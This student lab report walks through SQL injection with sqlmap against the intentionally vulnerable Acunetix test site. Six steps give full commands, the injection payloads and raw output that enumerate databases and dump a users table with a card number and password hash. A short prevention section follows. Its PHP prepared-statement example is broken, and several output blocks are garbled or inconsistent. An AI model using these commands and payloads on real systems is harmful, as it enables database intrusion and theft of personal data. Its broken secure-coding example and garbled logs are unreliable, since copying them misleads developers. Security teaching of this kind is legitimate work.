

SQL Injection using Kali Linux

Student Names:

Meenakshi Gayathri S, Gayathri R, Mrinalini Vettri

Registration Number:

RA2111029010009, RA2111029010033, RA2111029010054



Table of Contents

1. Introduction
2. Understanding SQL Injection
3. Lab Setup and Simulation
4. Step-by-Step Demonstration with SQLMAP
5. SQL Injection Prevention Strategies
6. Conclusion



Understanding SQL Injection

SQL Injection is a cyber threat where attackers exploit web app vulnerabilities by injecting SQL code. This allows them to manipulate or extract data from databases, posing serious security risks. Understanding this technique is vital for fortifying web applications against potential breaches.

Setting up Kali Linux

*A simulated environment is crucial for ethical hacking practices. In this lab:
Operating System: Kali Linux serves as the operating system, providing a
comprehensive suite of penetration-testing tools*

Installing SQLMAP



SQLMAP, a powerful penetration testing tool specifically designed for detecting and exploiting SQL injection vulnerabilities.

Pre-installed on Kali Linux: SQLMAP often comes pre-installed on Kali Linux, a preferred OS for ethical hacking. Users on other Debian-based systems can install it using the command `sudo apt-get install sqlmap`. This ensures that the tool is readily available for penetration testing.

SQLMAP USAGE

Understanding SQLMAP commands is fundamental. Key parameters such as -u, --dbs, -D, --tables, -T, --columns, -C, and --dump are explained in detail. The targeted website for this demonstration is the Acunetix Vulnerability Testing Site.

SQLMAP Demonstration Steps 1-6

Follow along as we demonstrate the step-by-step process of using SQLMAP to detect SQL injection vulnerabilities, fetch sensitive data, manipulate databases, and gain unauthorized access. Learn by example!

STEP 1:

Executing the command: sqlmap -u <http://testphp.vulnweb.com/login.php> --dbs

```
Parameter: cat (GET)
  Type: boolean-based blind
  Title: AND boolean-based blind - WHERE or HAVING clause
  Payload: cat=1 AND 8726=8726

  Type: error-based
  Title: MySQL > 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
  Payload: cat=1 AND EXTRACTVALUE(2774,CONCAT(0x7171706a71,(SELECT (ELT(2774=2774,1)))),0x7162627a71)

  Type: time-based blind
  Title: MySQL > 5.0.12 AND time-based blind (query SLEEP)
  Payload: cat=1 AND (SELECT 5646 FROM (SELECT(SLEEP(5)))frcU)

  Type: UNION query
  Title: Generic UNION query (NULL) - 11 columns
  Payload: cat=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7171706a71,0x476b496f59636e78684b647248744a7555446f436d4c446d756871475043536c497a45736656714d,0x7162627a71),NULL,NULL
-- 

[01:19:46] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: PHP 5.6.48, Nginx 1.19.0
back-end DBMS: MySQL > 5.1
[01:19:48] [INFO] fetching database names
available databases [2]:
[*] acuart "the quieter you become, the more you are able to hear"
[*] information_schema

[01:19:49] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/testphp.vulnweb.com'

[*] ending @ 01:19:49 /2023-11-15/
```

Reveals the existence of databases.

STEP 2:

Executing: sqlmap -u <http://testphp.vulnweb.com/login.php> -D <database_name> --tables

```
Payload: cat=1 AND 8/20=8/20

Type: error-based
Title: MySQL ≥ 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
Payload: cat=1 AND EXTRACTVALUE(2774,CONCAT(0x5c,0x7171706a71,(SELECT (ELT(2774=2774,1))),0x71626
27a71))

Type: time-based blind
Title: MySQL ≥ 5.0.12 AND time-based blind (query SLEEP)
Payload: cat=1 AND (SELECT 5646 FROM (SELECT(SLEEP(5)))frcU)

Type: UNION query
Title: Generic UNION query (NULL) - 11 columns
Payload: cat=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7171706a71,0x476
b496f59636e78684b647248744a7555446f436d4c446d756871475043536c497a45736656714d,0x7162627a71),NULL,NULL
-- 

[01:20:59] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL ≥ 5.1
[01:20:59] [INFO] fetching tables for database: 'acuart'
database: acuart
8 tables]
+-----+
artists
carts
categ
featured
guestbook
pictures
products
users
+-----+
[01:20:59] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/test
php.vulnweb.com'

[*] ending @ 01:20:59 /2023-11-15/
```

Retrieves information on tables within the selected database.

STEP 3:

Executing: sqlmap -u <http://testphp.vulnweb.com/login.php> -D <database_name> -T <table_name> --columns

```
Title: MySQL ≥ 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
Payload: cat=1 AND EXTRACTVALUE(2774,CONCAT(0x5c,0x7171706a71,(SELECT (ELT(2774=2774,1))),0x71626
27a71))

Type: time-based blind
Title: MySQL ≥ 5.0.12 AND time-based blind (query SLEEP)
Payload: cat=1 AND (SELECT 5646 FROM (SELECT(SLEEP(5)))frcU)

Type: UNION query
Title: Generic UNION query (NULL) - 11 columns
Payload: cat=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7171706a71,0x476
b496f59636e78684b647248744a7555446f436d4c446d756871475043536c497a45736656714d,0x7162627a71),NULL,NULL
-- 
[01:21:43] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: PHP 5.6.40, Nginx 1.19.0
back-end DBMS: MySQL ≥ 5.1
[01:21:43] [INFO] fetching columns for table 'artists' in database 'acuart'
Database: acuart
Table: artists
[3 columns]
+-----+-----+
| Column | Type  |
+-----+-----+
| adesc  | text   |
| aname   | varchar(50) |
| artist_id | int   |
+-----+-----+
[01:21:44] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/test
php.vulnweb.com'

[*] ending @ 01:21:44 /2023-11-15/
```

Identifies columns within the specified table.

STEP 4

Executing: sqlmap -u <http://testphp.vulnweb.com/login.php> -D <database_name>-T<table_name>-C <column_name> --dump

```
Type: UNION query
Title: Generic UNION query (NULL) - 11 columns
Payload: cat=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7171706a71,0x476
b496f59636e78684b647248744a7555446f436d4c446d756871475043536c497a45736656714d,0x7162627a71),NULL,NULL
-- -
[01:22:12] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL > 5.1
[01:22:12] [INFO] fetching entries of column(s) 'aname' for table 'artists' in database 'acuart'
Database: acuart
Table: artists
[3 entries]
+-----+
| aname |
+-----+
| r4w8173 |
| Blad3   |
| lyzae   |
+-----+
[01:22:12] [INFO] table 'acuart.artists' dumped to CSV file '/home/kali/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/artists.csv'
[01:22:12] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/testphp.vulnweb.com'
[*] ending @ 01:22:12 /2023-11-15/
```

Extracts data from the specified column.

STEP 5 :

Executing: sqlmap -u <http://testphp.vulnweb.com/listproducts.php?cat=1> -D acuart
-T users -C email --dump

```
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cat=1 AND 8726=8726

Type: error-based
Title: MySQL ≥ 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
Payload: cat=1 AND EXTRACTVALUE(2774,CONCAT(0x5c,0x7171706a71,(SELECT (ELT(2774=2774,1))),0x71626
27a71))

Type: time-based blind
Title: MySQL ≥ 5.0.12 AND time-based blind (query SLEEP)
Payload: cat=1 AND (SELECT 5646 FROM (SELECT(SLEEP(5)))frcU)

Type: UNION query
Title: Generic UNION query (NULL) - 11 columns
Payload: cat=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7171706a71,0x476
b496f59636e78684b647248744a7555446f436d4c446d756871475043536c497a45736656714d,0x7162627a71),NULL,NULL
-- -
[01:24:12] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: PHP 5.6.40, Nginx 1.19.0
back-end DBMS: MySQL > 5.1
[01:24:12] [INFO] fetching entries of column(s) 'email' for table 'users' in database 'acuart'
Database: acuart
Table: users
[1 entry]
+-- "the quieter you become, the more you are able to hear"
| email
+--+
| email@email.com
+--+
[01:24:14] [INFO] table 'acuart.users' dumped to CSV file '/home/kali/.local/share/sqlmap/output/test
php.vulnweb.com/dump/acuart/users.csv'
[01:24:14] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/test
php.vulnweb.com'

[*] ending @ 01:24:14 /2023-11-15/
```

This command fetches email addresses from the 'users' table.

STEP 6:

Executing: `sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart -T users --dump-all`

```
Type: UNION query
Title: Generic UNION query (NULL) - 11 columns
Payload: cat=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7171706a71,0x476
b496f59636e78684b647248744a7555446f436d4c446d756871475043536c497a45736656714d,0x7162627a71),NULL,NULL
-- 
[01:24:56] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: PHP 5.6.40, Nginx 1.19.0
back-end DBMS: MySQL ≥ 5.1
[01:24:56] [INFO] fetching columns for table 'users' in database 'acuart'
[01:24:57] [INFO] fetching entries for table 'users' in database 'acuart'
[01:24:57] [INFO] recognized possible password hashes in column 'cart'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N]
] n
do you want to crack them via a dictionary-based attack? [y/n/g] n
Database: acuart
Table: users
[1 entry]
+-----+-----+-----+-----+-----+
| cc   | cart |       | pass | email | phone | uname |
| name | address |       |       |       |       |       |
+-----+-----+-----+-----+-----+
| 1234-5678-2300-9000 | 2721490a471d3e21018b089dbde096ba | test | email@email.com | 2323345 | test |
| smith | 21 street, united state |       |       |       |       |
+-----+-----+-----+-----+-----+
```

[01:25:19] [INFO] table 'acuart.users' dumped to CSV file '/home/kali/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/users.csv'
[01:25:19] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/testphp.vulnweb.com'
[*] ending @ 01:25:19 /2023-11-15/

Executes the command to dump all data from the 'users' table.

FINAL OUTPUT

The screenshot shows a Firefox browser window with the title bar "How to use SQLMAP to te x user info". The address bar displays "testphp.vulnweb.com/userinfo.php". The main content area shows a web page titled "acunetix acuart". The page header includes "TEST and Demonstration site for Acunetix Web Vulnerability Scanner", "home | categories | artists | disclaimer | your cart | guestbook | AJAX Demo", and "Logout test". On the left, there is a sidebar with links like "Help", "cart", "27214", "united s", "le 'acua", "acuart/u", "ched dat", "2023-1", "Links", "Security art", "PHP scanner", "PHP vuln help", and "Fractal Explorer". The main content area shows a user profile for "smith (test)". It displays the user's information in a form:

Name:	smith
Credit card number:	1234-5678-2300-9000
E-Mail:	email@email.com
Phone number:	2323345
Address:	21 street, united state

An "update" button is located at the bottom right of the form. Below the form, a message states "You have 0 items in your cart. You visualize you cart [here](#)". At the bottom, there is a footer with links "About Us | Privacy Policy | Contact Us | ©2019 Acunetix Ltd" and a warning message: "Warning: This is not a real shop. This is an example PHP application, which is intentionally vulnerable to web attacks. It is intended to help you test Acunetix. It also helps you understand how developer errors and bad configuration may let someone break into your website. You can use it to test other tools and your manual hacking skills as well. Tip: Look for potential SQL Injections, Cross-site Scripting (XSS), and Cross-site Request Forgery (CSRF), and more."



SQL Injection Prevention

Preventing SQL injection is essential for robust security. Utilizing prepared statements is a recommended practice. This involves sending SQL queries with placeholders for user input, ensuring that user input and code are analyzed separately.

Example PHP Code Using Prepared Statements

```
$db = new PDO('connection details');

$stmt = db->prepare("SELECT name FROM users WHERE id = : id");
$stmt->execute(array(': id', $data));
```

Conclusion

In conclusion, the project illuminates the pervasive threat of SQL injection in web applications and the critical importance of proactive security measures. By employing SQLMAP within a controlled lab environment, the demonstration showcases the efficiency of penetration testing tools in identifying and mitigating vulnerabilities. The project emphasizes the significance of secure coding practices, particularly through the use of Prepared Statements, to prevent SQL injection attacks. Recommendations include ongoing developer training, tool integration, and regular security audits to fortify web application defenses. Ethical considerations underscore the responsible use of penetration testing tools for learning and testing purposes, fostering a security-conscious approach within the development community. Overall, the project contributes to advancing cybersecurity awareness and practices in the ever-evolving landscape of web application security.